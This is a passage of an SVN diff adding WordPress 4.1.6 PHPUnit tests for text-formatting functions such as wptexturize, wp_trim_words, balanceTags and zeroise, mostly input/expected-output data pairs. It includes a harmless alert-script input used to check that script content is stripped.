+	 * Test HTML and shortcode avoidance.
+	 *
+	 * @ticket 12690
+	 * @dataProvider data_tag_avoidance
+	 */
+	function test_tag_avoidance( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_tag_avoidance() {
+		return array(
+			array(
+				'[ ... ]',
+				'[ &#8230; ]',
+			),
+			array(
+				'[ is it wise to <a title="allow user content ] here? hmm"> maybe </a> ]',
+				'[ is it wise to <a title="allow user content ] here? hmm"> maybe </a> ]',
+			),
+			array(
+				'[is it wise to <a title="allow user content ] here? hmm"> maybe </a> ]',
+				'[is it wise to <a title="allow user content ] here? hmm"> maybe </a> ]',
+			),
+			array(
+				'[caption - is it wise to <a title="allow user content ] here? hmm"> maybe </a> ]',
+				'[caption &#8211; is it wise to <a title="allow user content ] here? hmm"> maybe </a> ]',
+			),
+			array(
+				'[ photos by <a href="http://example.com/?a[]=1&a[]=2"> this guy </a> ]',
+				'[ photos by <a href="http://example.com/?a[]=1&#038;a[]=2"> this guy </a> ]',
+			),
+			array(
+				'[photos by <a href="http://example.com/?a[]=1&a[]=2"> this guy </a>]',
+				'[photos by <a href="http://example.com/?a[]=1&#038;a[]=2"> this guy </a>]',
+			),
+			array(
+				'[gallery ...]',
+				'[gallery ...]',
+			),
+			array(
+				'[[gallery ...]', // This tag is still valid.
+				'[[gallery ...]',
+			),
+			array(
+				'[gallery ...]]', // This tag is also valid.
+				'[gallery ...]]',
+			),
+			array(
+				'[/gallery ...]', // This would actually be ignored by the shortcode system.  The decision to not texturize it is intentional, if not correct.
+				'[/gallery ...]',
+			),
+			array(
+				'[[gallery]]...[[/gallery]]', // Shortcode parsing will ignore the inner ]...[ part and treat this as a single escaped shortcode.
+				'[[gallery]]&#8230;[[/gallery]]',
+			),
+			array(
+				'[[[gallery]]]...[[[/gallery]]]', // Again, shortcode parsing matches, but only the [[gallery] and [/gallery]] parts.
+				'[[[gallery]]]&#8230;[[[/gallery]]]',
+			),
+			array(
+				'[gallery ...',
+				'[gallery &#8230;',
+			),
+			array(
+				'[gallery <br ... /> ...]', // This tag is still valid. Shortcode 'attributes' are not considered in the initial parsing of shortcodes, and HTML is allowed.
+				'[gallery <br ... /> ...]',
+			),
+			array(
+				'<br [gallery ...] ... />',
+				'<br [gallery ...] ... />',
+			),
+			array(
+				'<br [gallery ...] ... /',
+				'<br [gallery ...] &#8230; /',
+			),
+			array(
+				'<br ... />',
+				'<br ... />',
+			),
+			array(
+				'<br ... />...<br ... />',
+				'<br ... />&#8230;<br ... />',
+			),
+			array(
+				'[gallery ...]...[gallery ...]',
+				'[gallery ...]&#8230;[gallery ...]',
+			),
+			array(
+				'[[gallery ...]]',
+				'[[gallery ...]]',
+			),
+			array(
+				'[[gallery ...]',
+				'[[gallery ...]',
+			),
+			array(
+				'[gallery ...]]',
+				'[gallery ...]]',
+			),
+			array(
+				'[/gallery ...]]',
+				'[/gallery ...]]',
+			),
+			array(
+				'[[gallery <br ... /> ...]]', // This gets parsed as an escaped shortcode with embedded HTML.  Brains may explode.
+				'[[gallery <br ... /> ...]]',
+			),
+			array(
+				'<br [[gallery ...]] ... />',
+				'<br [[gallery ...]] ... />',
+			),
+			array(
+				'<br [[gallery ...]] ... /',
+				'<br [[gallery ...]] &#8230; /',
+			),
+			array(
+				'[[gallery ...]]...[[gallery ...]]',
+				'[[gallery ...]]&#8230;[[gallery ...]]',
+			),
+			array(
+				'[[gallery ...]...[/gallery]]',
+				'[[gallery ...]&#8230;[/gallery]]',
+			),
+			array(
+				'<!-- ... -->',
+				'<!-- ... -->',
+			),
+			array(
+				'<!--...-->',
+				'<!--...-->',
+			),
+			array(
+				'<!-- ... -- > ...',
+				'<!-- ... -- > ...',
+			),
+			array(
+				'<!-- ...', // An unclosed comment is still a comment.
+				'<!-- ...',
+			),
+			array(
+				'a<!-->b', // Browsers seem to allow this.
+				'a<!-->b',
+			),
+			array(
+				'a<!--->b',
+				'a<!--->b',
+			),
+			array(
+				'a<!---->b',
+				'a<!---->b',
+			),
+			array(
+				'a<!----->b',
+				'a<!----->b',
+			),
+			array(
+				'a<!-- c --->b',
+				'a<!-- c --->b',
+			),
+			array(
+				'a<!-- c -- d -->b',
+				'a<!-- c -- d -->b',
+			),
+			array(
+				'a<!-- <!-- c --> -->b<!-- close -->',
+				'a<!-- <!-- c --> &#8211;>b<!-- close -->',
+			),
+			array(
+				'<!-- <br /> [gallery] ... -->',
+				'<!-- <br /> [gallery] ... -->',
+			),
+			array(
+				'...<!-- ... -->...',
+				'&#8230;<!-- ... -->&#8230;',
+			),
+			array(
+				'[gallery ...]...<!-- ... -->...<br ... />',
+				'[gallery ...]&#8230;<!-- ... -->&#8230;<br ... />',
+			),
+			array(
+				'<ul><li>Hello.</li><!--<li>Goodbye.</li>--></ul>',
+				'<ul><li>Hello.</li><!--<li>Goodbye.</li>--></ul>',
+			),
+			array(
+				'word <img src="http://example.com/wp-content/uploads/2014/06/image-300x216.gif" /> word', // Ensure we are not corrupting image URLs.
+				'word <img src="http://example.com/wp-content/uploads/2014/06/image-300x216.gif" /> word',
+			),
+			array(
+				'[ do texturize "[quote]" here ]',
+				'[ do texturize &#8220;[quote]&#8221; here ]',
+			),
+			array(
+				'[ regex catches this <a href="[quote]">here</a> ]',
+				'[ regex catches this <a href="[quote]">here</a> ]',
+			),
+			array(
+				'[ but also catches the <b>styled "[quote]" here</b> ]',
+				'[ but also catches the <b>styled &#8220;[quote]&#8221; here</b> ]',
+			),
+			array(
+				'[Let\'s get crazy<input>[caption code="<a href=\'?a[]=100\'>hello</a>"]</input>world]', // caption shortcode is invalid here because it contains [] chars.
+				'[Let&#8217;s get crazy<input>[caption code=&#8221;<a href=\'?a[]=100\'>hello</a>&#8220;]</input>world]',
+			),
+		);
+	}
+
+	/**
+	 * Year abbreviations consist of exactly two digits.
+	 *
+	 * @ticket 26850
+	 * @dataProvider data_year_abbr
+	 */
+	function test_year_abbr( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_year_abbr() {
+		return array(
+			array(
+				"word '99 word",
+				"word &#8217;99 word",
+			),
+			array(
+				"word '99. word",
+				"word &#8217;99. word",
+			),
+			array(
+				"word '99, word",
+				"word &#8217;99, word",
+			),
+			array(
+				"word '99; word",
+				"word &#8217;99; word",
+			),
+			array(
+				"word '99' word", // For this pattern, prime doesn't make sense.  Should get apos and a closing quote.
+				"word &#8217;99&#8217; word",
+			),
+			array(
+				"word '99'. word",
+				"word &#8217;99&#8217;. word",
+			),
+			array(
+				"word '99', word",
+				"word &#8217;99&#8217;, word",
+			),
+			array(
+				"word '99.' word",
+				"word &#8217;99.&#8217; word",
+			),
+			array(
+				"word '99",
+				"word &#8217;99",
+			),
+			array(
+				"'99 word",
+				"&#8217;99 word",
+			),
+			array(
+				"word '999 word", // Does not match the apos pattern, should be opening quote.
+				"word &#8216;999 word",
+			),
+			array(
+				"word '99% word",
+				"word &#8216;99% word",
+			),
+			array(
+				"word '9 word",
+				"word &#8216;9 word",
+			),
+			array(
+				"word '99.9 word",
+				"word &#8216;99.9 word",
+			),
+			array(
+				"word '999",
+				"word &#8216;999",
+			),
+			array(
+				"word '9",
+				"word &#8216;9",
+			),
+			array(
+				"in '4 years, 3 months,' Obama cut the deficit",
+				"in &#8216;4 years, 3 months,&#8217; Obama cut the deficit",
+			),
+			array(
+				"testing's '4' through 'quotes'",
+				"testing&#8217;s &#8216;4&#8217; through &#8216;quotes&#8217;",
+			),
+		);
+	}
+
+	/**
+	 * Make sure translation actually works.
+	 *
+	 * Also make sure apostrophes and closing quotes aren't being confused by default.
+	 *
+	 * @ticket 27426
+	 * @dataProvider data_translate
+	 */
+	function test_translate( $input, $output ) {
+		add_filter( 'gettext_with_context', array( $this, 'filter_translate' ), 10, 4 );
+
+		$result = wptexturize( $input, true );
+
+		remove_filter( 'gettext_with_context', array( $this, 'filter_translate' ), 10, 4 );
+		wptexturize( 'reset', true );
+
+		return $this->assertEquals( $output, $result );
+	}
+
+	function filter_translate( $translations, $text, $context, $domain ) {
+		switch ($text) {
+			case '&#8211;' : return '!endash!';
+			case '&#8212;' : return '!emdash!';
+			case '&#8216;' : return '!openq1!';
+			case '&#8217;' :
+				if ( 'apostrophe' == $context ) {
+					return '!apos!';
+				} else {
+					return '!closeq1!';
+				}
+			case '&#8220;' : return '!openq2!';
+			case '&#8221;' : return '!closeq2!';
+			case '&#8242;' : return '!prime1!';
+			case '&#8243;' : return '!prime2!';
+			default : return $translations;
+		}
+	}
+
+	function data_translate() {
+		return array(
+			array(
+				"word '99 word",
+				"word !apos!99 word",
+			),
+			array(
+				"word'99 word",
+				"word!apos!99 word",
+			),
+			array(
+				"word 'test sentence' word",
+				"word !openq1!test sentence!closeq1! word",
+			),
+			array(
+				"'test sentence'",
+				"!openq1!test sentence!closeq1!",
+			),
+			array(
+				'word "test sentence" word',
+				'word !openq2!test sentence!closeq2! word',
+			),
+			array(
+				'"test sentence"',
+				'!openq2!test sentence!closeq2!',
+			),
+			array(
+				"word 'word word",
+				"word !openq1!word word",
+			),
+			array(
+				"word ('word word",
+				"word (!openq1!word word",
+			),
+			array(
+				"word ['word word",
+				"word [!openq1!word word",
+			),
+			array(
+				'word 99" word',
+				'word 99!prime2! word',
+			),
+			array(
+				'word 99"word',
+				'word 99!prime2!word',
+			),
+			array(
+				'word99" word',
+				'word99!prime2! word',
+			),
+			array(
+				'word99"word',
+				'word99!prime2!word',
+			),
+			array(
+				"word 99' word",
+				"word 99!prime1! word",
+			),
+			array(
+				"word99' word",
+				"word99!prime1! word",
+			),
+			array(
+				"word word's word",
+				"word word!apos!s word",
+			),
+			array(
+				"word word'. word",
+				"word word!closeq1!. word",
+			),
+			array(
+				"word ]'. word",
+				"word ]!closeq1!. word",
+			),
+			array(
+				'word "word word',
+				'word !openq2!word word',
+			),
+			array(
+				'word ("word word',
+				'word (!openq2!word word',
+			),
+			array(
+				'word ["word word',
+				'word [!openq2!word word',
+			),
+			array(
+				'word word" word',
+				'word word!closeq2! word',
+			),
+			array(
+				'word word") word',
+				'word word!closeq2!) word',
+			),
+			array(
+				'word word"] word',
+				'word word!closeq2!] word',
+			),
+			array(
+				'word word"',
+				'word word!closeq2!',
+			),
+			array(
+				'word word"word',
+				'word word!closeq2!word',
+			),
+			array(
+				'test sentence".',
+				'test sentence!closeq2!.',
+			),
+			array(
+				'test sentence."',
+				'test sentence.!closeq2!',
+			),
+			array(
+				'test sentence." word',
+				'test sentence.!closeq2! word',
+			),
+			array(
+				"word word' word",
+				"word word!closeq1! word",
+			),
+			array(
+				"word word'. word",
+				"word word!closeq1!. word",
+			),
+			array(
+				"word word'.word",
+				"word word!closeq1!.word",
+			),
+			array(
+				"word word'",
+				"word word!closeq1!",
+			),
+			array(
+				"test sentence'.",
+				"test sentence!closeq1!.",
+			),
+			array(
+				"test sentence.'",
+				"test sentence.!closeq1!",
+			),
+			array(
+				"test sentence'. word",
+				"test sentence!closeq1!. word",
+			),
+			array(
+				"test sentence.' word",
+				"test sentence.!closeq1! word",
+			),
+			array(
+				"word 'tain't word",
+				"word !apos!tain!apos!t word",
+			),
+			array(
+				"word 'twere word",
+				"word !apos!twere word",
+			),
+			array(
+				'word "42.00" word',
+				'word !openq2!42.00!closeq2! word',
+			),
+			array(
+				"word '42.00' word",
+				"word !openq1!42.00!closeq1! word",
+			),
+			array(
+				"word word'. word",
+				"word word!closeq1!. word",
+			),
+			array(
+				"word word'.word",
+				"word word!closeq1!.word",
+			),
+			array(
+				"word word', she said",
+				"word word!closeq1!, she said",
+			),
+		);
+	}
+
+	/**
+	 * Extra sanity checks for _wptexturize_pushpop_element()
+	 *
+	 * @ticket 28483
+	 * @dataProvider data_element_stack
+	 */
+	function test_element_stack( $input, $output ) {
+		return $this->assertEquals( $output, wptexturize( $input ) );
+	}
+
+	function data_element_stack() {
+		return array(
+			array(
+				'<span>hello</code>---</span>',
+				'<span>hello</code>&#8212;</span>',
+			),
+			array(
+				'</code>hello<span>---</span>',
+				'</code>hello<span>&#8212;</span>',
+			),
+			array(
+				'<code>hello</code>---</span>',
+				'<code>hello</code>&#8212;</span>',
+			),
+			array(
+				'<span>hello</span>---<code>',
+				'<span>hello</span>&#8212;<code>',
+			),
+			array(
+				'<span>hello<code>---</span>',
+				'<span>hello<code>---</span>',
+			),
+			array(
+				'<code>hello<span>---</span>',
+				'<code>hello<span>---</span>',
+			),
+			array(
+				'<code>hello</span>---</span>',
+				'<code>hello</span>---</span>',
+			),
+			array(
+				'<span><code>hello</code>---</span>',
+				'<span><code>hello</code>&#8212;</span>',
+			),
+			array(
+				'<code>hello</code>world<span>---</span>',
+				'<code>hello</code>world<span>&#8212;</span>',
+			),
+		);
+	}
+
+	/**
+	 * Test disabling shortcode texturization.
+	 *
+	 * @ticket 29557
+	 * @dataProvider data_unregistered_shortcodes
+	 */
+	function test_unregistered_shortcodes( $input, $output ) {
+		add_filter( 'no_texturize_shortcodes', array( $this, 'filter_shortcodes' ), 10, 1 );
+	
+		$output = $this->assertEquals( $output, wptexturize( $input ) );
+	
+		remove_filter( 'no_texturize_shortcodes', array( $this, 'filter_shortcodes' ), 10, 1 );
+		return $output;
+	}
+	
+	function filter_shortcodes( $disabled ) {
+		$disabled[] = 'audio';
+		return $disabled;
+	}
+
+	function data_unregistered_shortcodes() {
+		return array(
+			array(
+				'[a]a--b[audio]---[/audio]a--b[/a]',
+				'[a]a&#8211;b[audio]---[/audio]a&#8211;b[/a]',
+			),
+			array(
+				'[code ...]...[/code]', // code is not a registered shortcode.
+				'[code &#8230;]&#8230;[/code]',
+			),
+			array(
+				'[hello ...]...[/hello]', // hello is not a registered shortcode.
+				'[hello &#8230;]&#8230;[/hello]',
+			),
+			array(
+				'[...]...[/...]', // These are potentially usable shortcodes.
+				'[&#8230;]&#8230;[/&#8230;]',
+			),
+			array(
+				'[gal>ery ...]',
+				'[gal>ery &#8230;]',
+			),
+			array(
+				'[randomthing param="test"]',
+				'[randomthing param=&#8221;test&#8221;]',
+			),
+			array(
+				'[[audio]...[/audio]...', // These are potentially usable shortcodes.  Unfortunately, the meaning of [[audio] is ambiguous unless we run the entire shortcode regexp.
+				'[[audio]&#8230;[/audio]&#8230;',
+			),
+			array(
+				'[audio]...[/audio]]...', // These are potentially usable shortcodes.  Unfortunately, the meaning of [/audio]] is ambiguous unless we run the entire shortcode regexp.
+				'[audio]...[/audio]]...', // This test would not pass in 3.9 because the extra brace was always ignored by texturize.
+			),
+			array(
+				'<span>hello[/audio]---</span>',
+				'<span>hello[/audio]&#8212;</span>',
+			),
+			array(
+				'[/audio]hello<span>---</span>',
+				'[/audio]hello<span>&#8212;</span>',
+			),
+			array(
+				'[audio]hello[/audio]---</span>',
+				'[audio]hello[/audio]&#8212;</span>',
+			),
+			array(
+				'<span>hello</span>---[audio]',
+				'<span>hello</span>&#8212;[audio]',
+			),
+			array(
+				'<span>hello[audio]---</span>',
+				'<span>hello[audio]---</span>',
+			),
+			array(
+				'[audio]hello<span>---</span>',
+				'[audio]hello<span>---</span>',
+			),
+			array(
+				'[audio]hello</span>---</span>',
+				'[audio]hello</span>---</span>',
+			),
+		);
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/WPTrimWords.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/WPTrimWords.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/WPTrimWords.php	(revision 33402)
@@ -0,0 +1,45 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_WPTrimWords extends WP_UnitTestCase {
+	private $long_text = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce varius lacinia vehicula. Etiam sapien risus, ultricies ac posuere eu, convallis sit amet augue. Pellentesque urna massa, lacinia vel iaculis eget, bibendum in mauris. Aenean eleifend pulvinar ligula, a convallis eros gravida non. Suspendisse potenti. Pellentesque et odio tortor. In vulputate pellentesque libero, sed dapibus velit mollis viverra. Pellentesque id urna euismod dolor cursus sagittis.';
+
+	function test_trims_to_55_by_default() {
+		$trimmed = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce varius lacinia vehicula. Etiam sapien risus, ultricies ac posuere eu, convallis sit amet augue. Pellentesque urna massa, lacinia vel iaculis eget, bibendum in mauris. Aenean eleifend pulvinar ligula, a convallis eros gravida non. Suspendisse potenti. Pellentesque et odio tortor. In vulputate pellentesque libero, sed dapibus velit&hellip;';
+		$this->assertEquals( $trimmed, wp_trim_words( $this->long_text ) );
+	}
+
+	function test_trims_to_10() {
+		$trimmed = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce varius&hellip;';
+		$this->assertEquals( $trimmed, wp_trim_words( $this->long_text, 10 ) );
+	}
+
+	function test_trims_to_5_and_uses_custom_more() {
+		$trimmed = 'Lorem ipsum dolor sit amet,[...] Read on!';
+		$this->assertEquals( $trimmed, wp_trim_words( $this->long_text, 5, '[...] Read on!' ) );
+	}
+
+	function test_strips_tags_before_trimming() {
+		$text = 'This text contains a <a href="http://wordpress.org"> link </a> to WordPress.org!';
+		$trimmed = 'This text contains a link&hellip;';
+		$this->assertEquals( $trimmed, wp_trim_words( $text, 5 ) );
+	}
+
+	// #18726
+	function test_strips_script_and_style_content() {
+		$trimmed = 'This text contains. It should go.';
+
+		$text = 'This text contains<script>alert(" Javascript");</script>. It should go.';
+		$this->assertEquals( $trimmed, wp_trim_words( $text ) );
+
+		$text = 'This text contains<style>#css { width:expression(alert("css")) }</style>. It should go.';
+		$this->assertEquals( $trimmed, wp_trim_words( $text ) );
+	}
+
+	function test_doesnt_trim_short_text() {
+		$text = 'This is some short text.';
+		$this->assertEquals( $text, wp_trim_words( $text ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/WpHtmlEditPre.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/WpHtmlEditPre.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/WpHtmlEditPre.php	(revision 33402)
@@ -0,0 +1,36 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_WpHtmlEditPre extends WP_UnitTestCase {
+
+	function _charset_iso_8859_1() {
+		return 'iso-8859-1';
+	}
+
+	/*
+	 * Only fails in PHP 5.4 onwards
+	 * @ticket 23688
+	 */
+	function test_wp_htmledit_pre_charset_iso_8859_1() {
+		add_filter( 'pre_option_blog_charset', array( $this, '_charset_iso_8859_1' ) );
+		$iso8859_1 = 'Fran' .chr(135) .'ais';
+		$this->assertEquals( $iso8859_1, wp_htmledit_pre( $iso8859_1 ) );
+		remove_filter( 'pre_option_blog_charset', array( $this, '_charset_iso_8859_1' ) );
+	}
+
+	function _charset_utf_8() {
+		return 'UTF-8';
+	}
+
+	/*
+	 * @ticket 23688
+	 */
+	function test_wp_htmledit_pre_charset_utf_8() {
+		add_filter( 'pre_option_blog_charset', array( $this, '_charset_utf_8' ) );
+		$utf8 = 'Fran' .chr(195) . chr(167) .'ais';
+		$this->assertEquals( $utf8, wp_htmledit_pre( $utf8 ) );
+		remove_filter( 'pre_option_blog_charset', array( $this, '_charset_utf_8' ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/WpReplaceInHtmlTags.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/WpReplaceInHtmlTags.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/WpReplaceInHtmlTags.php	(revision 33402)
@@ -0,0 +1,74 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_WpReplaceInTags extends WP_UnitTestCase {
+	/**
+	 * Check for expected behavior of new function wp_replace_in_html_tags().
+	 *
+	 * @dataProvider data_wp_replace_in_html_tags
+	 */
+	function test_wp_replace_in_html_tags( $input, $output ) {
+		return $this->assertEquals( $output, wp_replace_in_html_tags( $input, array( "\n" => " " ) ) );
+	}
+
+	function data_wp_replace_in_html_tags() {
+		return array(
+			array(
+				"Hello \n World",
+				"Hello \n World",
+			),
+			array(
+				"<Hello \n World>",
+				"<Hello   World>",
+			),
+			array(
+				"<!-- Hello \n World -->",
+				"<!-- Hello   World -->",
+			),
+			array(
+				"<!-- Hello <\n> World -->",
+				"<!-- Hello < > World -->",
+			),
+		);
+	}
+}
+?>
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_WpReplaceInTags extends WP_UnitTestCase {
+	/**
+	 * Check for expected behavior of new function wp_replace_in_html_tags().
+	 *
+	 * @dataProvider data_wp_replace_in_html_tags
+	 */
+	function test_wp_replace_in_html_tags( $input, $output ) {
+		return $this->assertEquals( $output, wp_replace_in_html_tags( $input, array( "\n" => " " ) ) );
+	}
+
+	function data_wp_replace_in_html_tags() {
+		return array(
+			array(
+				"Hello \n World",
+				"Hello \n World",
+			),
+			array(
+				"<Hello \n World>",
+				"<Hello   World>",
+			),
+			array(
+				"<!-- Hello \n World -->",
+				"<!-- Hello   World -->",
+			),
+			array(
+				"<!-- Hello <\n> World -->",
+				"<!-- Hello < > World -->",
+			),
+		);
+	}
+}
+?>
Index: /tags/4.1.6/tests/phpunit/tests/formatting/WpRichEditPre.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/WpRichEditPre.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/WpRichEditPre.php	(revision 33402)
@@ -0,0 +1,36 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_WpRichEditPre extends WP_UnitTestCase {
+
+	function _charset_iso_8859_1() {
+		return 'iso-8859-1';
+	}
+
+	/*
+	 * Only fails in PHP 5.4 onwards
+	 * @ticket 23688
+	 */
+	function test_wp_richedit_pre_charset_iso_8859_1() {
+		add_filter( 'pre_option_blog_charset', array( $this, '_charset_iso_8859_1' ) );
+		$iso8859_1 = 'Fran' .chr(135) .'ais';
+		$this->assertEquals( '&lt;p&gt;' . $iso8859_1 . "&lt;/p&gt;\n", wp_richedit_pre( $iso8859_1 ) );
+		remove_filter( 'pre_option_blog_charset', array( $this, '_charset_iso_8859_1' ) );
+	}
+
+	function _charset_utf_8() {
+		return 'UTF-8';
+	}
+
+	/*
+	 * @ticket 23688
+	 */
+	function test_wp_richedit_pre_charset_utf_8() {
+		add_filter( 'pre_option_blog_charset', array( $this, '_charset_utf_8' ) );
+		$utf8 = 'Fran' .chr(195) . chr(167) .'ais';
+		$this->assertEquals( '&lt;p&gt;' . $utf8 . "&lt;/p&gt;\n", wp_richedit_pre( $utf8 ) );
+		remove_filter( 'pre_option_blog_charset', array( $this, '_charset_utf_8' ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/WpTrimExcerpt.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/WpTrimExcerpt.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/WpTrimExcerpt.php	(revision 33402)
@@ -0,0 +1,57 @@
+<?php
+
+/**
+ * @group formatting
+ * @covers wp_trim_excerpt
+ */
+class Tests_Formatting_WpTrimExcerpt extends WP_UnitTestCase {
+	/**
+	 * @ticket 25349
+	 */
+	public function test_secondary_loop_respect_more() {
+		$post1 = $this->factory->post->create( array(
+			'post_content' => 'Post 1 Page 1<!--more-->Post 1 Page 2',
+		) );
+		$post2 = $this->factory->post->create( array(
+			'post_content' => 'Post 2 Page 1<!--more-->Post 2 Page 2',
+		) );
+
+		$this->go_to( '/?p=' . $post1 );
+		setup_postdata( get_post( $post1 ) );
+
+		$q = new WP_Query( array(
+			'post__in' => array( $post2 ),
+		) );
+		if ( $q->have_posts() ) {
+			while ( $q->have_posts() ) {
+				$q->the_post();
+				$this->assertSame( 'Post 2 Page 1', wp_trim_excerpt() );
+			}
+		}
+	}
+
+	/**
+	 * @ticket 25349
+	 */
+	public function test_secondary_loop_respect_nextpage() {
+		$post1 = $this->factory->post->create( array(
+			'post_content' => 'Post 1 Page 1<!--nextpage-->Post 1 Page 2',
+		) );
+		$post2 = $this->factory->post->create( array(
+			'post_content' => 'Post 2 Page 1<!--nextpage-->Post 2 Page 2',
+		) );
+
+		$this->go_to( '/?p=' . $post1 );
+		setup_postdata( get_post( $post1 ) );
+
+		$q = new WP_Query( array(
+			'post__in' => array( $post2 ),
+		) );
+		if ( $q->have_posts() ) {
+			while ( $q->have_posts() ) {
+				$q->the_post();
+				$this->assertSame( 'Post 2 Page 1', wp_trim_excerpt() );
+			}
+		}
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/Zeroise.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/Zeroise.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/Zeroise.php	(revision 33402)
@@ -0,0 +1,14 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_Zeroise extends WP_UnitTestCase {
+	function test_pads_with_leading_zeroes() {
+		$this->assertEquals("00005", zeroise(5, 5));
+	}
+
+	function test_does_nothing_if_input_is_already_longer() {
+		$this->assertEquals("5000000", zeroise(5000000, 2));
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/balanceTags.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/balanceTags.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/balanceTags.php	(revision 33402)
@@ -0,0 +1,207 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_BalanceTags extends WP_UnitTestCase {
+
+	function nestable_tags() {
+		return array(
+			array( 'blockquote' ), array( 'div' ), array( 'object' ), array( 'q' ), array( 'span' ),
+		);
+	}
+
+	// This is a complete(?) listing of valid single/self-closing tags.
+	function single_tags() {
+		return array(
+			array( 'area' ), array( 'base' ), array( 'basefont' ), array( 'br' ), array( 'col' ), array( 'command' ),
+			array( 'embed' ), array( 'frame' ), array( 'hr' ), array( 'img' ), array( 'input' ), array( 'isindex' ),
+			array( 'link' ), array( 'meta' ), array( 'param' ), array( 'source' ),
+		);
+	}
+
+	/**
+	 * If a recognized valid single tag appears unclosed, it should get self-closed
+	 *
+	 * @ticket 1597
+	 * @dataProvider single_tags
+	 */
+	function test_selfcloses_unclosed_known_single_tags( $tag ) {
+		$this->assertEquals( "<$tag />", balanceTags( "<$tag>", true ) );
+	}
+
+	/**
+	 * If a recognized valid single tag is given a closing tag, the closing tag
+	 *   should get removed and tag should be self-closed.
+	 *
+	 * @ticket 1597
+	 * @dataProvider single_tags
+	 */
+	function test_selfcloses_known_single_tags_having_closing_tag( $tag ) {
+		$this->assertEquals( "<$tag />", balanceTags( "<$tag></$tag>", true ) );
+	}
+
+	/**
+	 * @ticket 1597
+	 */
+	function test_closes_unknown_single_tags_with_closing_tag() {
+
+		$inputs = array(
+			'<strong/>',
+			'<em />',
+			'<p class="main1"/>',
+			'<p class="main2" />',
+		);
+		$expected = array(
+			'<strong></strong>',
+			'<em></em>',
+			'<p class="main1"></p>',
+			'<p class="main2"></p>',
+		);
+
+		foreach ( $inputs as $key => $input ) {
+			$this->assertEquals( $expected[$key], balanceTags( $inputs[$key], true ) );
+		}
+	}
+
+	function test_closes_unclosed_single_tags_having_attributes() {
+		$inputs = array(
+			'<img src="/images/example.png">',
+			'<input type="text" name="example">'
+		);
+		$expected = array(
+			'<img src="/images/example.png"/>',
+			'<input type="text" name="example"/>'
+		);
+
+		foreach ( $inputs as $key => $input ) {
+			$this->assertEquals( $expected[$key], balanceTags( $inputs[$key], true ) );
+		}
+	}
+
+	function test_allows_validly_closed_single_tags() {
+		$inputs = array(
+			'<br />',
+			'<hr />',
+			'<img src="/images/example.png" />',
+			'<input type="text" name="example" />'
+		);
+
+		foreach ( $inputs as $key => $input ) {
+			$this->assertEquals( $inputs[$key], balanceTags( $inputs[$key], true ) );
+		}
+	}
+
+	/**
+	 * @dataProvider nestable_tags
+	 */
+	function test_balances_nestable_tags( $tag ) {
+		$inputs = array(
+			"<$tag>Test<$tag>Test</$tag>",
+			"<$tag><$tag>Test",
+			"<$tag>Test</$tag></$tag>",
+		);
+		$expected = array(
+			"<$tag>Test<$tag>Test</$tag></$tag>",
+			"<$tag><$tag>Test</$tag></$tag>",
+			"<$tag>Test</$tag>",
+		);
+
+		foreach ( $inputs as $key => $input ) {
+			$this->assertEquals( $expected[$key], balanceTags( $inputs[$key], true ) );
+		}
+	}
+
+	function test_allows_adjacent_nestable_tags() {
+		$inputs = array(
+			'<blockquote><blockquote>Example quote</blockquote></blockquote>',
+			'<div class="container"><div>This is allowed></div></div>',
+			'<span><span><span>Example in spans</span></span></span>',
+			'<blockquote>Main quote<blockquote>Example quote</blockquote> more text</blockquote>',
+			'<q><q class="inner-q">Inline quote</q></q>',
+		);
+
+		foreach ( $inputs as $key => $input ) {
+			$this->assertEquals( $inputs[$key], balanceTags( $inputs[$key], true ) );
+		}
+	}
+
+	/**
+	 * @ticket 20401
+	 */
+	function test_allows_immediately_nested_object_tags() {
+		$object = '<object id="obj1"><param name="param1"/><object id="obj2"><param name="param2"/></object></object>';
+		$this->assertEquals( $object, balanceTags( $object, true ) );
+	}
+
+	function test_balances_nested_non_nestable_tags() {
+		$inputs = array(
+			'<b><b>This is bold</b></b>',
+			'<b>Some text here <b>This is bold</b></b>',
+		);
+		$expected = array(
+			'<b></b><b>This is bold</b>',
+			'<b>Some text here </b><b>This is bold</b>',
+		);
+
+		foreach ( $inputs as $key => $input ) {
+			$this->assertEquals( $expected[$key], balanceTags( $inputs[$key], true ) );
+		}
+	}
+
+	function test_fixes_improper_closing_tag_sequence() {
+		$inputs = array(
+			'<p>Here is a <strong class="part">bold <em>and emphasis</p></em></strong>',
+			'<ul><li>Aaa</li><li>Bbb</ul></li>',
+		);
